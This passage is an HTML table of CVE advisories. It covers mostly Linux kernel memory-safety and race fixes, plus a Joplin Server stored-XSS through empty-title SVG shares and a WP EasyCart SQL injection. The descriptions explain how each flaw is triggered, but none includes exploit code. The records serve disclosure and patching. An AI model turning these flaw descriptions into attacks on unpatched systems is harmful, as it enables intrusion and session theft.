&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, Joplin Server&#039;s GET /shares/:id?resource_id= route serves a resource with the attacker-controlled mime value and omits Content-Disposition when the resource title is empty. A low-privileged user can publish an empty-title image/svg+xml attachment whose script executes when a victim opens the public share. By default, user content shares the Joplin Server application origin, allowing the script to access same-origin data and, when the victim is authenticated, perform actions with the victim&#039;s session, including reading administrative data and anti-CSRF tokens. Installations that configure USER_CONTENT_BASE_URL to a separate origin still execute the script, but on that separate user-content origin rather than the application origin. This issue is fixed in version 3.7.7.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59814&quot; target=&quot;_blank&quot;&gt;CVE-2026-59814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;levelfourdevelopment--WP EasyCart&lt;/td&gt;
&lt;td&gt;Contributor SQL Injection in WP EasyCart &amp;lt;= 5.9.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94124&quot; target=&quot;_blank&quot;&gt;CVE-2026-94124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/srpt: Fix srpt_alloc_rw_ctxs() unwind counters When srpt_alloc_rw_ctxs() fails partway through a multi-buffer indirect descriptor, the unwind path destroys RDMA contexts but leaves stale n_rw_ctx and n_rdma values (and a dangling rw_ctxs pointer). Later sq_wr_avail accounting in srpt_queue_response() or srpt_write_pending() can then subtract the wrong number of send queue credits. Reset the counters and clear rw_ctxs after freeing the heap allocation before returning an error.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100075&quot; target=&quot;_blank&quot;&gt;CVE-2026-100075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Zero rpc_gss_wire_cred at svcauth_gss_decode_credbody() entry svcauth_gss_decode_credbody() writes the caller&#039;s rpc_gss_wire_cred field by field and assigns gc_ctx.len only on the success tail. The caller storage is svcdata-&amp;gt;clcred, which lives in the per-svc_rqst gss_svc_data and is reused across requests. Early decode failures leave partially decoded state mixed with residue from the prior request. The trailing body_len tightness check is the sharpest case: xdr_stream_decode_opaque_inline() has already written gc_ctx.data with a borrowed inline pointer into the current request&#039;s XDR pages, but gc_ctx.len retains its prior value. Once the request pages are released the pooled clcred carries a dangling pointer paired with a stale length. Zero the caller&#039;s rpc_gss_wire_cred at function entry so that every early-return path leaves a deterministic all-zero cred. On the trailing tightness-check path, gc_ctx.len is now zero instead of stale, which neuters length-driven consumers such as gss_svc_searchbyctx() that would otherwise walk the dangling data pointer.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93207&quot; target=&quot;_blank&quot;&gt;CVE-2026-93207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject Write/Reply chunks with segcount 0 A peer can send a Write or Reply chunk whose segcount field is zero. xdr_check_write_chunk() only rejects segcount &amp;gt; rc_maxpages, so zero passes the range check, and xdr_inline_decode(stream, 0) returns the current (non-NULL) cursor without advancing. The function returns true and pcl_alloc_write() then links a struct svc_rdma_chunk with ch_segcount == 0 onto rc_write_pcl or rc_reply_pcl. An earlier patch in this series made pcl_for_each_segment() safe for ch_segcount == 0, so this no longer drives the memory walk it used to. Rejecting the malformed frame at the decode boundary is still worthwhile as defense in depth: it keeps degenerate zero-segment chunks off the parsed chunk lists entirely, so any future consumer that walks ch_segments directly cannot observe one, and it makes the zero-floor easy to backport to trees where the macro change is more intrusive. RFC 8166 has no meaning for a Write/Reply chunk that describes no remote buffer, so no legitimate client is affected. xdr_check_reply_chunk() funnels Reply chunks through xdr_check_write_chunk() and inherits the same rejection. pcl_alloc_write() also links each chunk onto the parsed chunk list before filling its segment array. If a future change weakens the segcount-0 rejection, an incomplete chunk is visible to consumers during the fill loop. Reorder so that list_add_tail() follows the segment fill loop, ensuring only fully-populated chunks appear on the list.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93228&quot; target=&quot;_blank&quot;&gt;CVE-2026-93228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/rtrs-srv: Fix integer underflow in process_read and process_write usr_len is read from a network-supplied message field (le16_to_cpu) and used to compute data_len = off - usr_len without validating that usr_len &amp;lt;= off. A malicious RDMA client can send usr_len &amp;gt; off causing an integer underflow, resulting in data_len wrapping to a huge size_t value which is then passed to the rdma_ev callback as a memory length, leading to out-of-bounds memory access. Fix by reading and validating usr_len &amp;lt;= off before rtrs_srv_get_ops_ids() in both process_read() and process_write(), ensuring the early return path acquires no reference and has no resource leak.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97413&quot; target=&quot;_blank&quot;&gt;CVE-2026-97413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: convert nfsd_net boolean flags to unsigned long flags word nfsd_net contains several boolean fields that are accessed from concurrent contexts without serialization. In particular, nfsd4_end_grace() guards its drain path with a plain bool: if (nn-&amp;gt;grace_ended) return; nn-&amp;gt;grace_ended = true; The read and the write are independent, and nothing in struct nfsd_net serializes them. At least two contexts can reach this code with no lock held: laundromat path laundry_wq kworker nfs4_laundromat() nfsd4_end_grace() RECLAIM_COMPLETE path nfsd compound kthread nfsd4_reclaim_complete() inc_reclaim_complete() nfsd4_end_grace() Both callers can observe grace_ended == false on different CPUs, both store true, and both proceed into nfsd4_record_grace_done(), which invokes the active client_tracking_ops-&amp;gt;grace_done callback. For tracking ops that drain reclaim_str_hashtbl (legacy_tracking_ops via nfsd4_recdir_purge_old, and the cld v1+ ops via nfsd4_cld_grace_done), grace_done calls nfs4_release_reclaim(), which walks every bucket of reclaim_str_hashtbl with no lock and calls nfs4_remove_reclaim_record() (list_del + kfree) on each entry. Two concurrent walkers corrupt the list and double-free every nfs4_client_reclaim. A concurrent nfsd4_find_reclaim_client() iterating the same bucket reads through freed memory. A third call site exists in nfs4_state_start_net() on the skip_grace startup path, but it runs under nfsd_mutex before any client has connected and before the laundromat&#039;s first delayed work fires, so it cannot race with the two callers above. Replace the scattered boolean fields in nfsd_net with a single unsigned long flags word and an enum nfsd_net_flag for the bit positions. The grace_ended race is fixed by using test_and_set_bit(), which is atomic on all architectures. The remaining flags (grace_end_forced, in_grace, somebody_reclaimed, track_reclaim_completes, nfsd_net_up, lockd_up) are converted to use test_bit/set_bit/clear_bit for consistency. This avoids sub-word cmpxchg issues on architectures like Hexagon that only support word-sized atomic operations.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93221&quot; target=&quot;_blank&quot;&gt;CVE-2026-93221&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Fix unmatched rn_unregister on failed accept When svc_rdma_accept() takes the errout path before rpcrdma_rn_register() has succeeded, the existing cleanup block calls rpcrdma_rn_unregister(dev, &amp;amp;newxprt-&amp;gt;sc_rn) unconditionally. svcxprt_rdma is kzalloc&#039;d, so on that path sc_rn.rn_index is 0 and sc_rn.rn_done is NULL; the unregister therefore xa_erase()s another caller&#039;s slot 0 and performs an unmatched kref_put() on the rpcrdma_device&#039;s rd_kref. The same errout also brackets the cleanup with svc_xprt_get()/ svc_xprt_put() around the kref_init() birth reference. The kref goes 1 -&amp;gt; 2 -&amp;gt; 1 and never reaches 0, so the svcxprt_rdma (and the net/ns_tracker it pinned) is leaked on every failed accept. rpcrdma_rn_register() writes rn-&amp;gt;rn_done last, only after xa_alloc() and kref_get() have both succeeded, so rn_done == NULL is a natural &quot;never registered&quot; sentinel. Guard rpcrdma_rn_unregister() with an early return when rn_done is NULL, and clear rn_done before the matching xa_erase() so a repeated unregister is also a no-op. With that guard in place, the accept errout drops the kref_init() birth reference via svc_xprt_put(), which dispatches svc_rdma_free(). Teardown of sc_qp, sc_sq_cq, sc_rq_cq, and sc_pd runs under existing IS_ERR/NULL guards in svc_rdma_free(); sc_rn is covered by the new rn_done sentinel; sc_cm_id is non-NULL on every errout path because svc_rdma_accept() dereferences it above the first goto errout. svc_xprt_free() drops the module reference associated with the freed transport, and svc_handle_xprt() drops its pre-acquired reference when -&amp;gt;xpo_accept() returns NULL. Take a replacement module reference before svc_xprt_put() so the two module_put()s remain balanced. The rn_done guard also covers svc_rdma_free()&#039;s non-listener call to rpcrdma_rn_unregister() for transports whose register attempt failed or never ran.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93224&quot; target=&quot;_blank&quot;&gt;CVE-2026-93224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: greybus: audio: bound the topology section sizes against the fetched size gb_audio_gb_get_topology() fetches a topology blob of a module-supplied size, and gbaudio_tplg_parse_data() then walks it by adding the module-supplied size_dais, size_controls and size_widgets fields to form the control, widget and route section offsets. Those le32 sizes are never checked against the fetched blob, so a module reporting a small topology size but large section sizes makes the offsets point past the allocation, and parsing reads out of bounds. Reject a topology whose section sizes do not fit within the fetched size before it is parsed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93280&quot; target=&quot;_blank&quot;&gt;CVE-2026-93280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated session is a member of that well-known group. As a result, opening a file whose access is granted through S-1-5-11 can incorrectly fail with STATUS_ACCESS_DENIED. Treat an Authenticated Users ACE as a fallback entry alongside Everyone. The maximal access calculation also combines access masks from every ACE, regardless of whether its SID applies to the current user. This can grant rights belonging to an unrelated principal. Process only ACEs applying to the user, Everyone, or Authenticated Users, and accumulate allowed and denied masks in ACL order. Preserve explicitly requested access bits so they are validated against the resulting maximal mask. When ACCESS_SYSTEM_SECURITY is denied, report STATUS_PRIVILEGE_NOT_HELD instead of the generic STATUS_ACCESS_DENIED. Access to the system ACL requires a security privilege that ksmbd does not grant. For regular files, include FILE_EXECUTE in maximal access when the client requested GENERIC_EXECUTE and the DACL grants the complete file-read set. Keep a direct FILE_EXECUTE request subject to the explicit DACL bit. This matches the POSIX file ACL mapping without broadening specific execute requests. Do not replace rights from an applicable NT ACE with a POSIX ACL entry. The POSIX ACL is only a fallback when no user, Everyone, or Authenticated Users ACE applies; otherwise it can incorrectly broaden the stored DACL. This fixes smb2.maximum_allowed.maximum_allowed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93282&quot; target=&quot;_blank&quot;&gt;CVE-2026-93282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/pagemap: dma-unmap pages before handling migration errors drm_pagemap_migrate_unmap_pages() relies on the pages array to determine which pages require DMA unmapping. However, drm_pagemap_migration_unlock_put_pages() clears the array as part of its cleanup, leaving drm_pagemap_migrate_unmap_pages() with no valid page information if it is called afterward. Call drm_pagemap_migrate_unmap_pages() before drm_pagemap_migration_unlock_put_pages() so the pages array remains valid during DMA unmapping.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93284&quot; target=&quot;_blank&quot;&gt;CVE-2026-93284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: preserve VFS inherited POSIX ACL mask The VFS initializes a child&#039;s POSIX ACL from the parent&#039;s default ACL and the requested creation mode. Do not mutate the parent ACL or overwrite the child&#039;s VFS-computed access and default ACLs afterwards. This preserves restrictive ACL_MASK entries and prevents SMB object creation from widening effective permissions.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93786&quot; target=&quot;_blank&quot;&gt;CVE-2026-93786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: bound dirent name against end of SMB response in cifs_filldir cifs_filldir() copies the entry name out of an SMB1 TRANS2_FIND_FIRST / FIND_NEXT response using a length (de.namelen) supplied by the server. The kmalloc&#039;d SMB response buffer is bounded, but nothing checks that de.name + de.namelen still lies inside that buffer before the eventual filldir64() -&amp;gt; verify_dirent_name() -&amp;gt; memchr() reads namelen bytes. A hostile SMB1 server that returns an oversized FileNameLength in a directory entry therefore causes memchr() to read past the end of the response slab buffer. Reachable from any user who can list a directory on a CIFS mount served by an attacker-controlled server (getdents64() on the mounted directory): BUG: KASAN: slab-out-of-bounds in memchr+0x71/0x80 Read of size 1 at addr ffff88800e0640cc by task poc/115 Call Trace: dump_stack_lvl+0x64/0x80 print_report+0xce/0x620 kasan_report+0xec/0x120 memchr+0x71/0x80 filldir64+0x4c/0x6a0 cifs_filldir.constprop.0+0x9bb/0x1e00 cifs_readdir+0x2101/0x3380 iterate_dir+0x19c/0x520 __x64_sys_getdents64+0x126/0x210 do_syscall_64+0x107/0x5a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f Pass the end-of-response pointer down to cifs_filldir() and reject entries whose name would extend past that boundary. This bug was discovered by Artiphishell&#039;s vTriage pipeline, which generated a userspace reproducer (an emulated hostile SMB1 server plus a getdents64() client) that reliably triggers the KASAN report on an unpatched kernel. The fix below was drafted with the Claude coding assistant; a userspace reproducer is available on request.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93787&quot; target=&quot;_blank&quot;&gt;CVE-2026-93787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: fix out-of-bounds tid_data access in BA notif mvmsta-&amp;gt;tid_data was indexed by the TFD loop counter &#039;i&#039; instead of the actual TID value &#039;tid&#039;. This writes lq_color into a random tid_data slot unrelated to the BA entry. Since multi-TID blockack is not really in use, &#039;i&#039; was always 0 and no harm was done. Add a out-of-bound check before accessing the array.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93790&quot; target=&quot;_blank&quot;&gt;CVE-2026-93790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: validate TX_CMD response layout TX_CMD parsing uses frame_count to walk status entries and then read the trailing SCD SSN. Make the minimum-length check follow that exact runtime layout calculation before parsing the payload. For new TX API, reject TX_CMD responses with frame_count != 1 and warn/return in the aggregation handler to document that aggregated accounting is expected via BA notifications.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93793&quot; target=&quot;_blank&quot;&gt;CVE-2026-93793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: validate sta_id in BA window status notif BA_WINDOW_STATUS_NOTIFICATION_ID extracts a 5-bit sta_id from the firmware notification and uses it to index fw_id_to_mac_id[] without bounds checking. Validate sta_id before array access to prevent out-of-bounds indexing.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93799&quot; target=&quot;_blank&quot;&gt;CVE-2026-93799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: validate assoc response length before status and IE access cfg80211_rx_assoc_resp() initialises the status and response-IE fields of cfg80211_connect_resp_params from the management frame before proving that the frame is long enough for those offsets. S1G and regular association responses also have different IE offsets, but the S1G path only patched resp_ie after the unsafe initialiser had already run. Defer resp_ie, resp_ie_len, and status to after the link-iteration loop. Use a bool to remember whether the frame is S1G, then validate the appropriate minimum length and set all three fields in a single if/else block. Funnel short-frame and SME-reject cleanup through a shared free_bss label for the abandon paths.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93806&quot; target=&quot;_blank&quot;&gt;CVE-2026-93806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio-fs: avoid double-free on failed queue setup virtio_fs_setup_vqs() allocates fs-&amp;gt;vqs and fs-&amp;gt;mq_map before calling virtio_find_vqs(). If virtio_find_vqs() fails, the error path frees both pointers and returns an error to virtio_fs_probe(). virtio_fs_probe() then drops the last kobject reference, and virtio_fs_ktype_release() frees fs-&amp;gt;vqs and fs-&amp;gt;mq_map again. This leaves dangling pointers in struct virtio_fs and can trigger a double-free during probe failure cleanup. Set fs-&amp;gt;vqs and fs-&amp;gt;mq_map to NULL immediately after kfree() in the virtio_fs_setup_vqs() error path so that the later kobject release sees an uninitialized state and kfree(NULL) becomes harmless. This can be reproduced when a broken virtio-fs device advertises more request queues than the transport actually provides. In that case virtio_find_vqs() fails while setting up the extra queue, and the probe path reaches the double-free cleanup sequence.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93827&quot; target=&quot;_blank&quot;&gt;CVE-2026-93827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-fc: Do not cancel requests in io target before it is initialized A new nvme-fc controller in CONNECTING state sees admin request timeout schedules ctrl-&amp;gt;ioerr_work to abort inflight requests. This ends up calling __nvme_fc_abort_outstanding_ios() which aborts requests in both admin and io tagsets. In case fc_ctrl-&amp;gt;tag_set was not initialized we see the warning below. This is because ctrl.queue_count is initialized early in nvme_fc_alloc_ctrl(). nvme nvme0: NVME-FC{0}: starting error recovery Connectivity Loss INFO: trying to register non-static key. The code is fine but needs lockdep annotation, or maybe lpfc 0000:ab:00.0: queue 0 connect admin queue failed (-6). you didn&#039;t initialize this object before use? turning off the locking correctness validator. Workqueue: nvme-reset-wq nvme_fc_ctrl_ioerr_work [nvme_fc] Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x57/0x80 register_lock_class+0x567/0x580 __lock_acquire+0x330/0xb90 lock_acquire.part.0+0xad/0x210 blk_mq_tagset_busy_iter+0xf9/0xc00 __nvme_fc_abort_outstanding_ios+0x23f/0x320 [nvme_fc] nvme_fc_ctrl_ioerr_work+0x172/0x210 [nvme_fc] process_one_work+0x82c/0x1450 worker_thread+0x5ee/0xfd0 kthread+0x3a0/0x750 ret_from_fork+0x439/0x670 ret_from_fork_asm+0x1a/0x30 &amp;lt;/TASK&amp;gt; Update the check in __nvme_fc_abort_outstanding_ios() confirm that io tagset was created before iterating over busy requests. Also make sure to cancel ctrl-&amp;gt;ioerr_work before removing io tagset.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97409&quot; target=&quot;_blank&quot;&gt;CVE-2026-97409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme: validate FDP configuration descriptor sizes Validate descriptor sizes while walking the FDP configurations log so dsze == 0 or a descriptor past the log end cannot cause unbounded iteration or reads past the buffer.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97433&quot; target=&quot;_blank&quot;&gt;CVE-2026-97433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix invalid data access in ath11k_dp_rx_h_undecap_nwifi In certain cases, hardware might provide packets with a length greater than the maximum native Wi-Fi header length. This can lead to accessing and modifying fields in the header within the ath11k_dp_rx_h_undecap_nwifi() function for the DP_RX_DECAP_TYPE_NATIVE_WIFI decap type and potentially result in invalid data access and memory corruption. Kernel stack is corrupted in: ath11k_dp_rx_h_undecap+0x6b0/0x6b0 [ath11k] Call trace: ath11k_dp_rx_h_mpdu+0x0/0x2e8 [ath11k] ath11k_dp_rx_h_mpdu+0x1e0/0x2e8 [ath11k] ath11k_dp_rx_wbm_err+0x1e0/0x450 [ath11k] ath11k_dp_rx_process_wbm_err+0x2fc/0x460 [ath11k] ath11k_dp_service_srng+0x2e0/0x348 [ath11k] Add a sanity check before processing the SKB to prevent invalid data access in the undecap native Wi-Fi function for the DP_RX_DECAP_TYPE_NATIVE_WIFI decap type. This adapted from the discussion/patch of the ath12k driver [1]. Tested-on: WCN6855 hw2.1 PCI WLAN.HSP.1.1-04685-QCAHSPSWPL_V1_V2_SILICONZ_IOE-1&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97442&quot; target=&quot;_blank&quot;&gt;CVE-2026-97442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: validate handler object type in two places ACPICA: validate handler object type in acpi_ev_has_default_handler() and acpi_ev_find_region_handler().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97450&quot; target=&quot;_blank&quot;&gt;CVE-2026-97450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Fix integer overflow in acpi_ex_opcode_3A_1T_1R() (mid_op) Add overflow check for Index + Length to prevent integer overflow when calculating the truncation length. This prevents negative size parameter being passed to memcpy().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97451&quot; target=&quot;_blank&quot;&gt;CVE-2026-97451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Prevent adding invalid references Prevent adding references for local, argument, and debug objects in acpi_ut_copy_simple_object().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97452&quot; target=&quot;_blank&quot;&gt;CVE-2026-97452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Fix use-after-free in acpi_ds_terminate_control_method() Fix use-after-free issue in acpi_ds_terminate_control_method() by clearing references to method locals and arguments.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97455&quot; target=&quot;_blank&quot;&gt;CVE-2026-97455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thunderbolt: Keep XDomain reference during the lifetime of a service This is needed because we release the service ID in tb_service_release() and the ID array is owned by the parent XDomain.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97509&quot; target=&quot;_blank&quot;&gt;CVE-2026-97509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Allocate split page tables as kernel page tables A PTE is allocated directly without going through the standard page table allocation routines (such as pte_alloc_one_kernel()) when the CPA code splits a large page (__split_large_page()). This means the page table constructor is never called nor is the page table marked as a kernel page table. The former results in the folio associated with the page table not being marked as a page table (__pagetable_ctor() is never called thus neither is __folio_set_pgtable()) nor are statistics updated to reflect it (lruvec_stat_add_folio() is never called). The latter issue of failing to mark the page table as a kernel page table (ptdesc_set_kernel() is never called) is far more problematic. Since commit: 5ba2f0a15564 (&quot;mm: introduce deferred freeing for kernel page tables&quot;) kernel page table freeing has been batched and since the subsequent commit: e37d5a2d60a3 (&quot;iommu/sva: invalidate 